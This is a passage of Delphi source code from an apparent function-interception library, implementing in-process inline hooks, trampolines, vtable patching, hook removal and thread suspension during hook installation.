begin\n    Result := GetMethodPtrFromObjByName(Obj, MethodName);\n  end;\nend;\n\n{$ENDIF  SUPPORTS_RTTI}\n\nfunction GetRoot(P: PByte): PByte;\nvar\n  Inst: TInstruction;\nbegin\n  Result := P;\n  FillChar(Inst, SizeOf(TInstruction), #00);\n  Inst.Addr := P;\n  Inst.Archi := CPUX;\n  Inst.VirtualAddr := nil;\n  {\n    While the opcode is jmp and the jmp destination\n    address is known get the next jmp .\n  }\n  fDecodeInst(@Inst);\n  if (Inst.OpType = otJMP) and (Assigned(Inst.Branch.Target)) then\n    Result := GetRoot(Inst.Branch.Target);\nend;\n\nfunction IsValidDescriptor(P: PByte): Boolean;\nbegin\n  Result := CompareMem(P, PByte(@DscrSig[0]), SizeOf(DscrSig));\nend;\n\nfunction GetDescriptor(P: PByte): PDescriptor;\nvar\n  Inst: TInstruction;\n  function IsDscrpInst(PInst: PInstruction): Boolean;\n  begin\n    Result := Assigned(PInst.Branch.Target) or IsNop(PInst.Addr, 6);\n  end;\n\nbegin\n  Result := nil;\n  FillChar(Inst, SizeOf(TInstruction), #00);\n  Inst.Archi := CPUX;\n  Inst.VirtualAddr := nil;\n  { Find last JMP ! }\n  P := GetRoot(P);\n  Inst.Addr := P;\n  fDecodeInst(@Inst);\n\n  { The first instruction must be NOP ! }\n  if Inst.OpCode = opNop then\n  begin\n    Inst.Addr := Inst.NextInst;\n    fDecodeInst(@Inst);\n    if IsDscrpInst(@Inst) then\n    begin\n      Inc(P); // Skip CodeEntry !\n      Inc(P, SizeOf(TJmpMem) * (MAX_HOOKS + 1)); // Skip JmpMems !\n      { Go to the Top ! }\n      Dec(P, SizeOf(TDescriptor));\n      if IsValidDescriptor(P) then\n        Result := PDescriptor(P);\n    end;\n  end;\nend;\n\nfunction CreateNewDescriptor(): PDescriptor;\nbegin\n  { Create a new descriptor tables ! }\n  Result := AllocMem(SizeOf(TDescriptor));\n  FillNop(Result^, SizeOf(TDescriptor), False);\n  FillNop(Result^.JmpMems[0], SizeOf(TJmpMem) * (MAX_HOOKS + 1), True);\n\n  { A valid descriptor have a valid signature . }\n  CopyMemory(Result, PByte(@DscrSig[0]), DscrSigSize);\n  Result^.nHook := 0;\n  Result^.Flags := 0;\n  Result^.ExMem := nil;\nend;\n\nprocedure InsertDescriptor(PAt: PByte; PDscr: PDescriptor);\nconst\n  { JMP from Target to Code Entry }\n  kJmpCE = 1;\n  { JMP from Target to Temporal address than JMP to Code Entry }\n  kJmpTmpJmpCE = 2;\n  { JMP from Target to Temporal address than JMP (Rip Zero) to Code Entry }\n  kJmpTmpJmpRipZCE = 3;\n  { JMP (Rip Zero) from Target to Code Entry }\n  kJmpRipZCE = 4;\n\nvar\n  fJmpType: Byte; { First JMP }\n{$IFDEF CPUX64}\n  sJmpType: Byte; { Second JMP (if used !) }\n  Tmp: PByte;\n{$ENDIF CPUX64}\n  JmpKind: Byte;\n  P, T: PByte;\n  JmpSize: Byte;\n  Inst: TInstruction;\n  Sb: Byte;\n  OrgAccess: DWORD;\n  Tsz: Integer;\n  PExMem: PByte;\n  LPExMem: PByte;\nbegin\n  Sb := 0;\n  P := PAt;\n  PDscr^.OrgPtr := P;\n  fJmpType := GetJmpType(P, @PDscr^.CodeEntry, @PDscr^.DscrAddr);\n{$IFDEF CPUX64}\n  Tmp := nil;\n  PExMem := TryAllocMemAt(P, SizeOfAlloc, PAGE_EXECUTE_READWRITE);\n  LPExMem := PExMem;\n  sJmpType := JT_NONE;\n  JmpKind := kJmpRipZCE;\n  { Try to find the perfect jump instruction ! }\n  {\n    That's mean that we try to avoid using tJmpRelN on TargetProc .\n    ==> Because it use more than 6 bytes in length .\n  }\n  if JmpTypeToSize[fJmpType] > 6 then\n  begin\n    Tmp := PExMem;\n    Inc(PExMem, TmpSize);\n    if Assigned(Tmp) then\n    begin\n      JmpKind := kJmpRipZCE;\n      fJmpType := GetJmpType(P, Tmp, Tmp + 6);\n      if JmpTypeToSize[fJmpType] < 7 then\n      begin\n        JmpKind := kJmpTmpJmpRipZCE;\n        sJmpType := GetJmpType(Tmp, @PDscr^.CodeEntry, Tmp + 6 + 8);\n        if JmpTypeToSize[sJmpType] < 7 then\n          JmpKind := kJmpTmpJmpCE;\n      end;\n    end;\n  end\n  else\n  begin\n    JmpKind := kJmpCE;\n  end;\n{$ELSE !CPUX64}\n  PExMem := TryAllocMemAt(nil, SizeOfAlloc, PAGE_EXECUTE_READWRITE);\n  JmpKind := kJmpCE;\n  LPExMem := PExMem;\n{$ENDIF CPUX64}\n  FillChar(Inst, SizeOf(TInstruction), #00);\n  Inst.Archi := CPUX;\n  Inst.NextInst := P;\n  Inst.VirtualAddr := nil;\n\n  JmpSize := JmpTypeToSize[fJmpType];\n\n  while Sb < JmpSize do\n  begin\n    if Inst.OpType = otRET then\n      raise InterceptException.Create(SErrorSmallFunctionSize);\n    Inst.Addr := Inst.NextInst;\n    Inc(Sb, fDecodeInst(@Inst));\n  end;\n\n  if Sb > TrampoSize then\n    raise InterceptException.Create(SErrorBigTrampoSize);\n\n  { Trampoline momory }\n  T := PExMem;\n  FillNop(T^, TrampoSize, False);\n\n  PDscr^.Trampo := AllocMem(SizeOf(TTrampoInfo));\n  PDscr^.Trampo^.PData := AllocMem(Sb + 6);\n  FillNop(PDscr^.Trampo^.PData^, Sb + 6, False);\n  { Save original target routine instruction . }\n  Move(P^, PDscr^.Trampo^.PData^, Sb);\n  PDscr^.Trampo^.Addr := T; // Pointer to the first trampoline instruction.\n  PDscr^.Trampo^.Size := Sb; // Size of stolen instructions .\n\n  Tsz := MapInsts(P, T, Sb);\n  OrgAccess := SetMemPermission(P, Sb, PAGE_EXECUTE_READWRITE);\n  try\n    FillNop(P^, Sb, False);\n    case JmpKind of\n      kJmpCE:\n        begin\n          { A very good jump ! }\n          {\n            TargetProc :\n            JMP @PDscr^.CodeEntry\n          }\n          InsertJmp(P, @PDscr^.CodeEntry, fJmpType, @PDscr^.DscrAddr);\n        end;\n{$IFDEF CPUX64}\n      kJmpTmpJmpCE:\n        begin\n          {\n            TargetProc :\n            JMP @Tmp ==> Tmp is allocated nearly from TargetProc !\n\n            Tmp:\n            JMP @PDscr^.CodeEntry\n          }\n          InsertJmp(P, Tmp, fJmpType, Tmp + 6);\n          InsertJmp(Tmp, @PDscr^.CodeEntry, sJmpType, Tmp + 6 + 8);\n        end;\n      kJmpTmpJmpRipZCE:\n        begin\n          {\n            TargetProc :\n            JMP @Tmp ==> Tmp is allocated nearly from TargetProc !\n\n            Tmp:\n            JMP @PDscr^.CodeEntry  ==> JT_RIPZ\n          }\n          InsertJmp(P, Tmp, fJmpType, Tmp + 6);\n          InsertJmp(Tmp, @PDscr^.CodeEntry, JT_RIPZ, nil);\n        end;\n      kJmpRipZCE:\n        begin\n          {\n            Not a good jump !\n\n            TargetProc :\n            JMP @PDscr^.CodeEntry  ==> JT_RIPZ\n          }\n          InsertJmp(P, @PDscr^.CodeEntry, JT_RIPZ, nil);\n        end;\n{$ENDIF CPUX64}\n    end;\n\n    {\n      Insert a JMP instruction after the stolen instructions\n      on the trampoline.\n      ==> This JMP will return to TargetProc to allow\n      executing originals instructions.\n    }\n{$IFDEF CPUX64}\n    InsertJmp(T + Tsz, P + Sb, JT_RIPZ);\n{$ELSE !CPUX64}\n    InsertJmp(PByte(NativeInt(T) + Tsz), PByte(NativeInt(P) + Sb), JT_MEM32, PByte(NativeInt(T) + Tsz + 6));\n{$ENDIF CPUX64}\n    { Save LPExMem ==> we need it when deleting descriptor }\n    PDscr^.ExMem := LPExMem;\n\n    SetMemPermission(LPExMem, SizeOfAlloc, PAGE_EXECUTE_READWRITE);\n    SetMemPermission(PDscr, SizeOf(TDescriptor), PAGE_EXECUTE_READWRITE);\n  finally\n    SetMemPermission(P, Sb, OrgAccess);\n  end;\nend;\n\nprocedure MadExceptFreeMem(P: Pointer);\nvar\n  Page: Pointer;\n  mbi: TMemoryBasicInformation;\n  Permission: DWORD;\nbegin\n  if InternalFuncs.VirtualQuery(P, mbi, SizeOf(mbi)) <> 0 then\n  begin\n    Page := mbi.BaseAddress;\n    Permission := SetMemPermission(Page, SysInfo.dwPageSize, PAGE_READWRITE);\n    FreeMem(P);\n    SetMemPermission(Page, SysInfo.dwPageSize, Permission);\n  end\n  else\n    FreeMem(P);\nend;\n\nfunction GetNextHookPtrFromTrampoline(TrampoLine: Pointer): PNextHook;\nbegin\n  if Assigned(TrampoLine) then\n  begin\n    Result := PNextHook(NativeInt(TrampoLine) - SizeOf(TNextHook));\n    if Result^.Signature = TrampolineSignature then\n      Exit;\n  end;\n  raise DetourException.Create(SErrorInvalidTrampoline);\nend;\n\nfunction AddHook(PDscr: PDescriptor; InterceptProc: PByte; Param: Pointer; Options: TInterceptOptions): PByte;\nvar\n  n: ShortInt;\n  NxHook: PByte;\n  LTlsRecursionLevelIndex: DWORD;\nbegin\n  {\n    Return a pointer to a function that can\n    call next installed Hooks.\n  }\n  n := PDscr^.nHook;\n  if n + 1 > MAX_HOOKS then\n    raise InterceptException.Create(SErrorMaxHook);\n\n  { Alloc memory for the NextHook ! }\n  NxHook := AllocMem(TrampoSize);\n  Result := NxHook;\n\n  FillNop(Result^, TrampoSize, False);\n\n  PNextHook(Result)^.PDscr := PDscr;\n  PNextHook(Result)^.ID := n + 1;\n  PNextHook(Result)^.threadid := GetCurrentThreadId();\n  PNextHook(Result)^.Param := Param;\n  PNextHook(Result)^.Signature := TrampolineSignature;\n  PNextHook(Result)^.InterceptOptions := Options;\n  if ioRecursive in Options then\n  begin\n    LTlsRecursionLevelIndex := TlsAlloc();\n    if LTlsRecursionLevelIndex <> TLS_OUT_OF_INDEXES then\n      PNextHook(Result)^.TlsRecursionLevelIndex := LTlsRecursionLevelIndex\n    else\n      raise DetourException.Create(SErrorTlsOutOfIndexes);\n  end;\n  Inc(Result, SizeOf(TNextHook));\n\n  { Redirect code to InterceptProc ! }\n  InsertJmp(@PDscr^.JmpMems[n], InterceptProc, JT_MEMN, @PDscr^.JmpAddrs[n]);\n  { Redirect code to TrampoLine ! }\n  InsertJmp(@PDscr^.JmpMems[n + 1], PDscr^.Trampo^.Addr, JT_MEMN, @PDscr^.JmpAddrs[n + 1]);\n  { Redirect code to next hook ! }\n  InsertJmp(Result, @PDscr^.JmpMems[n + 1], JT_MEMN, PByte(NativeInt(Result) + 6));\n  Inc(PDscr^.nHook);\n\n  SetMemPermission(Result, JmpTypeToSize[JT_RIPZ], PAGE_EXECUTE_READWRITE);\nend;\n\nfunction InstallHook(TargetProc, InterceptProc: PByte; Param: Pointer; Options: TInterceptOptions): PByte;\nvar\n  P: PByte;\n  PDscr: PDescriptor;\nbegin\n  if not Assigned(TargetProc) then\n    raise InterceptException.Create(SErrorInvalidTargetProc);\n\n  if not Assigned(InterceptProc) then\n    raise InterceptException.Create(SErrorInvalidInterceptProc);\n\n  PDscr := GetDescriptor(TargetProc);\n  if not Assigned(PDscr) then\n  begin\n    P := GetRoot(TargetProc);\n    PDscr := CreateNewDescriptor();\n    try\n      InsertDescriptor(P, PDscr);\n    except\n      FreeMem(PDscr);\n      raise;\n    end;\n  end;\n  Result := AddHook(PDscr, InterceptProc, Param, Options);\nend;\n\nprocedure RemoveDescriptor(PDscr: PDescriptor);\nvar\n  OrgAccess: DWORD;\n  P: PByte;\n  sz: Integer;\n  vr: Boolean;\nbegin\n  P := PDscr^.OrgPtr;\n  sz := PDscr^.Trampo^.Size;\n\n  OrgAccess := SetMemPermission(P, sz, PAGE_EXECUTE_READWRITE);\n  try\n    SetMemPermission(PDscr^.ExMem, TrampoSize, PAGE_EXECUTE_READWRITE);\n\n    { Restore the old stolen instructions ! }\n    Move(PDscr^.Trampo^.PData^, PDscr^.OrgPtr^, PDscr^.Trampo^.Size);\n\n    FillNop(PDscr^.ExMem^, SizeOfAlloc, False);\n    FreeMem(PDscr^.Trampo^.PData);\n    FreeMem(PDscr^.Trampo);\n\n    if Assigned(PDscr^.ExMem) then\n    begin\n      vr := InternalFuncs.VirtualFree(PDscr^.ExMem, 0, MEM_RELEASE);\n      if not vr then\n        RaiseLastOSError;\n    end;\n\n    FillNop(PDscr^, SizeOf(TDescriptor), False);\n{$IFDEF FIX_MADEXCEPT}\n    MadExceptFreeMem(PDscr);\n{$ELSE !FIX_MADEXCEPT}\n    FreeMem(PDscr);\n{$ENDIF FIX_MADEXCEPT}\n  finally\n    SetMemPermission(P, sz, OrgAccess);\n  end;\nend;\n\nfunction RemoveHook(TrampoLine: PByte): Integer;\nvar\n  PNxtHook: PNextHook;\n  PDscr: PDescriptor;\n  n: Byte;\nbegin\n  if not Assigned(TrampoLine) then\n    raise InterceptException.Create(SErrorInvalidTrampoline);\n\n  PNxtHook := GetNextHookPtrFromTrampoline(TrampoLine);\n  if not Assigned(PNxtHook) then\n    raise InterceptException.Create(SErrorInvalidTrampoline);\n\n  PDscr := PNxtHook^.PDscr;\n  if not IsValidDescriptor(PByte(PDscr)) then\n    raise InterceptException.Create(SErrorInvalidDescriptor);\n\n  n := PNxtHook^.ID;\n  Dec(PDscr^.nHook);\n\n  PDscr^.JmpAddrs[n - 1] := nil;\n  { Remove JMP from descriptor table }\n  FillNop(PByte(@PDscr^.JmpMems[n - 1])^, SizeOf(TJmpMem), True);\n\n  {\n    Return the number of hooks\n    that are still alive !\n  }\n  Result := PDscr^.nHook;\n\n  if Result = 0 then\n    RemoveDescriptor(PDscr);\n\n  if ioRecursive in PNxtHook^.InterceptOptions then\n    TlsFree(PNxtHook^.TlsRecursionLevelIndex);\n\n{$IFDEF FIX_MADEXCEPT}\n    MadExceptFreeMem(PNxtHook);\n{$ELSE !FIX_MADEXCEPT}\n    FreeMem(PNxtHook);\n{$ENDIF FIX_MADEXCEPT}\n\nend;\n\n{ ======================================= InterceptCreate ======================================= }\n\nfunction InterceptCreate(const TargetProc, InterceptProc: Pointer; const Param: Pointer = nil;\n  const Options: TInterceptOptions = DefaultInterceptOptions): Pointer;\nbegin\n  Result := InstallHook(TargetProc, InterceptProc, Param, Options);\nend;\n\nfunction InterceptCreate(const TargetInterface; MethodIndex: Integer; const InterceptProc: Pointer; const Param: Pointer = nil;\n  const Options: TInterceptOptions = DefaultInterceptOptions): Pointer;\nvar\n  P: PByte;\nbegin\n  Result := nil;\n  if not Assigned(@TargetInterface) then\n    Exit;\n  P := GetInterfaceMethodPtrByIndex(TargetInterface, MethodIndex);\n  if Assigned(P) then\n  begin\n    Result := InterceptCreate(P, InterceptProc, Param, Options);\n  end;\nend;\n\nfunction InterceptCreate(const Module, MethodName: string; const InterceptProc: Pointer; const Param: Pointer = nil;\n  const Options: TInterceptOptions = DefaultInterceptOptions): Pointer;\nvar\n  pOrgPointer: Pointer;\n  LModule: THandle;\nbegin\n  { RRUZ's idea ==> Looks great ! }\n  Result := nil;\n  LModule := GetModuleHandle(PChar(Module));\n  if (LModule = 0) and (ioForceLoad in Options) then\n    LModule := LoadLibrary(PChar(Module));\n\n  if LModule <> 0 then\n  begin\n    pOrgPointer := GetProcAddress(LModule, PChar(MethodName));\n    if Assigned(pOrgPointer) then\n      Result := InterceptCreate(pOrgPointer, InterceptProc, Param, Options);\n  end;\nend;\n\nprocedure InterceptCreate(const TargetProc, InterceptProc: Pointer; var TrampoLine: Pointer; const Param: Pointer = nil;\n  const Options: TInterceptOptions = DefaultInterceptOptions);\nbegin\n  TrampoLine := InstallHook(TargetProc, InterceptProc, Param, Options);\nend;\n\n{$IFDEF SUPPORTS_RTTI}\n\nfunction InterceptCreate(const TargetInterface; const MethodName: String; const InterceptProc: Pointer; const Param: Pointer = nil;\n  const Options: TInterceptOptions = DefaultInterceptOptions): Pointer; overload;\nvar\n  P: PByte;\nbegin\n  { Interface support }\n  Result := nil;\n  if (not Assigned(@TargetInterface)) or (MethodName = EmptyStr) then\n    Exit;\n\n  P := GetInterfaceMethodPtrByName(TargetInterface, MethodName);\n  if Assigned(P) then\n    Result := InterceptCreate(P, InterceptProc);\nend;\n\n{$ENDIF SUPPORTS_RTTI}\n{ ======================================= InterceptRemove ======================================= }\n\nfunction InterceptRemove(const TrampoLine: Pointer): Integer;\nbegin\n  if Assigned(TrampoLine) then\n    Result := RemoveHook(TrampoLine)\n  else\n    Result := -1;\nend;\n\n{ ======================================= GetHookCount ======================================= }\n\nfunction GetHookCount(const TargetProc: Pointer): Integer;\nvar\n  PDscr: PDescriptor;\nbegin\n  { Return the number of installed hooks. }\n  if Assigned(TargetProc) then\n  begin\n    PDscr := GetDescriptor(TargetProc);\n    if Assigned(PDscr) then\n    begin\n      Result := PDscr^.nHook;\n      Exit;\n    end;\n  end\n  else\n    raise InterceptException.Create(SErrorInvalidTargetProc);\n  Result := 0;\nend;\n\nfunction GetHookCount(const TargetInterface; MethodIndex: Integer): Integer; overload;\nvar\n  P: PByte;\nbegin\n  P := GetInterfaceMethodPtrByIndex(TargetInterface, MethodIndex);\n  Result := GetHookCount(P);\nend;\n{$IFDEF SUPPORTS_RTTI}\n\nfunction GetHookCount(const TargetInterface; const MethodName: String): Integer; overload;\nvar\n  P: PByte;\nbegin\n  { Interface support }\n  P := GetInterfaceMethodPtrByName(TargetInterface, MethodName);\n  Result := GetHookCount(P);\nend;\n{$ENDIF  SUPPORTS_RTTI}\n{ ======================================= IsHooked ======================================= }\n\nfunction IsHooked(const TargetProc: Pointer): Boolean;\nbegin\n  Result := GetHookCount(TargetProc) > 0;\nend;\n\nfunction IsHooked(const TargetInterface; MethodIndex: Integer): Boolean; overload;\nvar\n  P: PByte;\nbegin\n  P := GetInterfaceMethodPtrByIndex(TargetInterface, MethodIndex);\n  Result := IsHooked(P);\nend;\n\n{$IFDEF SUPPORTS_RTTI}\n\nfunction IsHooked(const TargetInterface; const MethodName: String): Boolean; overload;\nvar\n  P: PByte;\nbegin\n  { Interface support }\n  P := GetInterfaceMethodPtrByName(TargetInterface, MethodName);\n  Result := IsHooked(P);\nend;\n{$ENDIF  SUPPORTS_RTTI}\n{ ======================================= Patch ======================================= }\n\nfunction PatchVt(const TargetInterface; MethodIndex: Integer; InterceptProc: Pointer): Pointer;\nvar\n  vt: PPointer;\n  P, DstAddr: PPointer;\n  Q: PByte;\n  OrgAccess: DWORD;\n  PInfo: PTrampoDataVt;\nbegin\n  {\n    NB: PatchVt does not support multi hook !!\n    PatchVt will patch only vtable !!\n  }\n  Result := nil;\n  if not Assigned(@TargetInterface) then\n    Exit;\n  if not Assigned(InterceptProc) then\n    Exit;\n\n  try\n    vt := PPointer(TargetInterface)^;\n    P := vt;\n    Inc(P, MethodIndex);\n    DstAddr := P^; // address !\n\n    OrgAccess := SetMemPermission(P, 32, PAGE_EXECUTE_READWRITE);\n    try\n      P^ := InterceptProc;\n    finally\n      SetMemPermission(P, 32, OrgAccess);\n    end;\n\n    Result := InternalFuncs.VirtualAlloc(nil, 32, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);\n    SetMemPermission(Result, 32, PAGE_EXECUTE_READWRITE);\n    PInfo := Result;\n    PInfo^.vAddr := P;\n    PInfo^.Addr := DstAddr;\n    Inc(PByte(Result), SizeOf(TTrampoDataVt));\n\n    Q := Result;\n{$IFDEF CPUX64}\n    { Use JMP RipZero ! }\n    PWord(Q)^ := opJmpMem;\n    Inc(Q, 2);\n    PInt32(Q)^ := $00;\n    Inc(Q, 4);\n    PNativeInt(Q)^ := NativeInt(DstAddr);\n{$ELSE !CPUX64}\n    PWord(Q)^ := opJmpMem;\n    Inc(Q, 2);\n    PUInt32(Q)^ := UInt32(NativeInt(Q) + 4);\n    PUInt32(NativeInt(Q) + 4)^ := UInt32(DstAddr);\n{$ENDIF CPUX64}\n  finally\n  end;\nend;\n\nfunction UnPatchVt(const TrampoLine: Pointer): Boolean;\nvar\n  OrgAccess: DWORD;\n  PInfo: PTrampoDataVt;\nbegin\n  if not Assigned(TrampoLine) then\n  begin\n    Result := False;\n    Exit;\n  end;\n\n  try\n    PInfo := PTrampoDataVt(NativeInt(TrampoLine) - SizeOf(TTrampoDataVt));\n    OrgAccess := SetMemPermission(PInfo^.vAddr, 32, PAGE_EXECUTE_READWRITE);\n    try\n      PPointer(PInfo^.vAddr)^ := PInfo^.Addr;\n    finally\n      SetMemPermission(PInfo^.vAddr, 32, OrgAccess);\n    end;\n    Result := InternalFuncs.VirtualFree(TrampoLine, 0, MEM_RELEASE);\n  finally\n  end;\nend;\n\n{ ======================================= Trampoline misc =================================== }\n\nfunction GetCreatorThreadIdFromTrampoline(var TrampoLine): TThreadId;\nvar\n  PNxtHook: PNextHook;\nbegin\n  PNxtHook := GetNextHookPtrFromTrampoline(PPointer(@TrampoLine)^);\n  Result := PNxtHook^.threadid;\nend;\n\nfunction GetTrampolineParam(var TrampoLine): Pointer;\nvar\n  PNxtHook: PNextHook;\nbegin\n  PNxtHook := GetNextHookPtrFromTrampoline(PPointer(@TrampoLine)^);\n  Result := PNxtHook^.Param;\nend;\n\n{ ======================================= Recursive Section ======================================= }\n\nfunction EnterRecursiveSection(var TrampoLine; MaxRecursionLevel: NativeInt = 0): Boolean;\nvar\n  PNxtHook: PNextHook;\n  RecursionLevel: NativeInt;\nbegin\n  PNxtHook := GetNextHookPtrFromTrampoline(PPointer(@TrampoLine)^);\n  if ioRecursive in PNxtHook^.InterceptOptions then\n  begin\n    RecursionLevel := NativeInt(TlsGetValue(PNxtHook^.TlsRecursionLevelIndex));\n    Result := RecursionLevel <= MaxRecursionLevel;\n    if Result then\n    begin\n      Inc(RecursionLevel);\n      TlsSetValue(PNxtHook^.TlsRecursionLevelIndex, Pointer(RecursionLevel));\n    end;\n  end\n  else\n    raise DetourException.Create(SErrorRecursiveSectionUnsupported);\nend;\n\nfunction ExitRecursiveSection(var TrampoLine): Boolean;\nvar\n  PNxtHook: PNextHook;\n  RecursionLevel: NativeInt;\nbegin\n  PNxtHook := GetNextHookPtrFromTrampoline(PPointer(@TrampoLine)^);\n  if ioRecursive in PNxtHook^.InterceptOptions then\n  begin\n    RecursionLevel := NativeInt(TlsGetValue(PNxtHook^.TlsRecursionLevelIndex));\n    Result := RecursionLevel >= 0;\n    if Result then\n    begin\n      Dec(RecursionLevel);\n      TlsSetValue(PNxtHook^.TlsRecursionLevelIndex, Pointer(RecursionLevel));\n    end;\n  end\n  else\n    raise DetourException.Create(SErrorRecursiveSectionUnsupported);\nend;\n\n{ ======================================= Transaction ======================================= }\nfunction CountThreadCallBack(ID: DWORD; Param: Pointer): BOOL;\nbegin\n  Assert(Assigned(Param));\n  Inc(PInteger(Param)^);\n  Result := True;\nend;\n\nfunction SuspendOrResumeThread(threadid: DWORD; Suspend: Boolean): DWORD;\nvar\n  hThread: THandle;\nbegin\n  hThread := OpenThread(THREAD_SUSPEND_RESUME, False, threadid);\n  if hThread <> THandle(0) then\n  begin\n    if Suspend then\n      Result := SuspendThread(hThread)\n    else\n      Result := ResumeThread(hThread);\n    CloseHandle(hThread);\n  end\n  else\n    Result := DWORD(-1);\nend;\n\nfunction SuspendThreadCallBack(ID: DWORD; Param: Pointer): BOOL;\nvar\n  PStruct: PTransactionStruct;\n  SuspendCount: DWORD;\nbegin\n  Assert(Assigned(Param));\n  PStruct := PTransactionStruct(Param);\n  if ID <> PStruct^.TID then\n  begin\n    SuspendCount := SuspendOrResumeThread(ID, True);\n    if SuspendCount <> DWORD(-1) then\n    // thread's previously was running  .\n    begin\n      { Only add threads that was running before suspending them ! }\n      PStruct^.SuspendedThreads^[PStruct^.SuspendedThreadCount] := ID;\n      Inc(PStruct^.SuspendedThreadCount);\n    end;\n  end;\n  Result := True;\nend;\n\nfunction BeginTransaction(Options: TTransactionOptions = [toSuspendThread]): THandle;\nvar\n  PStruct: PTransactionStruct;\n  ThreadCount: Integer;\n  P: Pointer;\n  ThreadHandle: THandle;\nbegin\n  EnterLook(FLock);\n  try\n    ThreadHandle := GetCurrentThread();\n    PStruct := GetMemory(SizeOf(TTransactionStruct));\n    FillChar(PStruct^, SizeOf(TTransactionStruct), #00);\n    PStruct^.Options := Options;\n    PStruct^.PID := GetCurrentProcessId();\n    PStruct^.TID := GetCurrentThreadId();\n    PStruct^.ThreadPriority := GetThreadPriority(ThreadHandle);\n    SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL);\n    Result := THandle(PStruct);\n    if toSuspendThread in Options then\n    begin\n      ThreadCount := 0;\n      EnumProcessThreads(PStruct^.PID, @CountThreadCallBack, @ThreadCount);\n      if ThreadCount > 1 then\n      begin\n        P := GetMemory(ThreadCount * 2 * SizeOf(DWORD));\n        PStruct^.SuspendedThreads := P;\n        EnumProcessThreads(PStruct^.PID, @SuspendThreadCallBack, PStruct);\n      end;\n    end;\n  finally\n    LeaveLook(FLock);\n  end;\nend;\n\nfunction EndTransaction(Handle: THandle): Boolean;\nvar\n  PStruct: PTransactionStruct;\n  i: Integer;\nbegin\n  EnterLook(FLock);\n  Result := True;\n  PStruct := PTransactionStruct(Handle);\n  try\n    if PStruct^.SuspendedThreadCount > 0 then\n    begin\n      for i := 0 to PStruct^.SuspendedThreadCount - 1 do\n      begin\n        SuspendOrResumeThread(PStruct^.SuspendedThreads^[i], False);\n      end;\n      FreeMemory(PStruct^.SuspendedThreads);\n    end;\n    SetThreadPriority(GetCurrentThread(), PStruct^.ThreadPriority);\n    FreeMemory(PTransactionStruct(Handle));\n  finally\n    LeaveLook(FLock);\n  end;\nend;\n\n{$IFDEF SUPPORTS_GENERICS}\n{ TIntercept<T,U> }\n\nfunction TIntercept<T, U>.TToPointer(const A): Pointer;\nbegin\n  Result := Pointer(A);\nend;\n\nfunction TIntercept<T, U>.PointerToT(const P): T;\nbegin\n  Result := T(P);\nend;\n\nfunction TIntercept<T, U>.EnsureTIsMethod(): Boolean;\nvar\n  LPInfo: PTypeInfo;\nbegin\n  Result := SizeOf(T) = SizeOf(Pointer);\n  if Result then\n  begin\n    LPInfo := TypeInfo(T);\n    if LPInfo.Kind = tkProcedure then\n      Exit\n    else\n      raise DetourException.Create(SErrorInvalidTType);\n  end;\nend;\n\nconstructor TIntercept<T, U>.Create(const TargetProc, InterceptProc: T; const AParam: U; const AInterceptOptions: TInterceptOptions = DefaultInterceptOptions);\nbegin\n  EnsureTIsMethod();\n  FCreatorThreadId := GetCurrentThreadId();\n  FInterceptOptions := AInterceptOptions;\n  FParam := AParam;\n  FTrampolinePtr := InterceptCreate(TToPointer(TargetProc), TToPointer(InterceptProc), @FParam, AInterceptOptions);\n  FNextHook := PointerToT(FTrampolinePtr);\nend;\n\nfunction TIntercept<T, U>.GetTrampoline(): T;\nbegin\n  Result := FNextHook;\nend;\n\nfunction TIntercept<T, U>.GetParam(): U;\nbegin\n  Result := FParam;\nend;\n\nfunction TIntercept<T, U>.GetCreatorThreadId(): TThreadId;\nbegin\n  Result := FCreatorThreadId;\nend;\n\nfunction TIntercept<T, U>.GetInterceptOptions(): TInterceptOptions;\nbegin\n  Result := FInterceptOptions;\nend;\n\nfunction TIntercept<T, U>.EnterRecursive(MaxRecursionLevel: NativeInt = 0): Boolean;\nbegin\n  Result := EnterRecursiveSection(FTrampolinePtr, MaxRecursionLevel);\nend;\n\nfunction TIntercept<T, U>.ExitRecursive(): Boolean;\nbegin\n  Result := ExitRecursiveSection(FTrampolinePtr);\nend;\n\ndestructor TIntercept<T, U>.Destroy();\nbegin\n  InterceptRemove(TToPointer(FNextHook));\n  inherited;\nend;\n\n{ TIntercept<T> }\nconstructor TIntercept<T>.Create(const TargetProc, InterceptProc: T; const AParam: Pointer = nil;\n  const AInterceptOptions: TInterceptOptions = DefaultInterceptOptions);\nbegin\n  inherited Create(TargetProc, InterceptProc, AParam, InterceptOptions);\nend;\n\n{$ENDIF SUPPORTS_GENERICS}\n{ ======================================= Initialization ======================================= }\n\nprocedure InitInternalFuncs();\n\n  function CloneFunc(Func: PByte): PByte;\n  var\n    mb, ns, Sb, fn: Byte;\n    P: PByte;\n    Inst: TInstruction;\n  begin\n    Sb := 0;\n    Func := GetRoot(Func);\n    Result := VirtualAlloc(nil, 64, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n    P := Result;\n    mb := JmpTypeToSize[JT_RIPZ];\n    FillChar(Inst, SizeOf(TInstruction), #00);\n    Inst.Archi := CPUX;\n    Inst.NextInst := Func;\n    while Sb <= mb do\n    begin\n      Inst.Addr := Inst.NextInst;\n      ns := fDecodeInst(@Inst);\n      Inc(Sb, ns);\n    end;\n    fn := MapInsts(Func, P, Sb);\n    Inc(P, fn);\n{$IFDEF CPUX64}\n    InsertJmp(P, PByte(NativeInt(Func) + Sb), JT_RIPZ);\n{$ELSE !CPUX64}\n    InsertJmp(P, PByte(NativeInt(Func) + Sb), JT_REL32);\n{$ENDIF CPUX64}\n  end;\n\nbegin\n{$IFDEF HOOK_INTERNAL_FUNCTIONS}\n  @InternalFuncs.VirtualAlloc := CloneFunc(@VirtualAlloc);\n  @InternalFuncs.VirtualFree := CloneFunc(@VirtualFree);\n  @InternalFuncs.VirtualProtect := CloneFunc(@VirtualProtect);\n  @InternalFuncs.VirtualQuery := CloneFunc(@VirtualQuery);\n  @InternalFuncs.FlushInstructionCache := CloneFunc(@FlushInstructionCache);\n  @InternalFuncs.GetCurrentProcess := CloneFunc(@GetCurrentProcess);\n{$ELSE !HOOK_INTERNAL_FUNCTIONS}\n  @InternalFuncs.VirtualAlloc := @VirtualAlloc;\n  @InternalFuncs.VirtualFree := @VirtualFree;\n  @InternalFuncs.VirtualProtect := @VirtualProtect;\n  @InternalFuncs.VirtualQuery := @VirtualQuery;\n  @InternalFuncs.FlushInstructionCache := @FlushInstructionCache;\n  @InternalFuncs.GetCurrentProcess := @GetCurrentProcess;\n{$ENDIF 